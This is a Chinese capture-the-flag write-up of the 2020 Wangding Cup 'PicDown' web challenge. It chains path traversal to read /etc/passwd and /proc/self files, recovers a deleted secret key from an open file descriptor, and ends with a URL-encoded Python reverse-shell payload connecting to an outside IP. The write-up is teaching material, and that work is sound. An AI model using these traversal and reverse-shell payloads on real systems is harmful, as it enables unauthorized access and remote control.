网鼎杯 2020 白虎组PicDown

知识点

文件包含、linux 文件操作符 、 进程、 flask简单审计、python反弹Shell

解题

14.png

题目环境给了一个文本框,我们抓包发现这里是url 传参,怀疑可以目录穿越 文件包含 尝试一下 url=../../../../../etc/passwd ,果然读到了东西 。

通过 ../../../../../proc/self/cmdline 可以读到当前命令行参数 ,可以知道是 app.py ,我们通过url 读到app.py 文件的内容如下:

我截取了一下主要的代码:

15.png

用flask写的后台,简单审计一下,只要满足 key=secret_key 我们就可以 system(shell) 来getshell ,问题是 secret_file 已经被删除了,我们直接通过 文件包含 url 读不到,然而 print(secret_key)又只能在控制台看到,这里的考点其实和之前 v&n 一样,都考察了linux文件操作符。因为 open(secret_file) , 没有 close(),所以我们可以在进程文件 /proc/self/fd/数字 读到文件内容 。

这里通过 /proc/self/fd/3 读到了内容 ,然后后面的就是反弹shell 的方法了,用python 来实现反弹shell

1
?key=Whi8kqbFZqmUfgTopqYZj1Rx%2BznoEEOyM5t6y4xVXnA%3D&shell=python -c%2520 'import socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect(("174.0.211.175"%2C9999))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3B os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(["%2Fbin%2Fbash"%2C"-i"])%3B'

最后 在 /root/flag 下拿到

16.png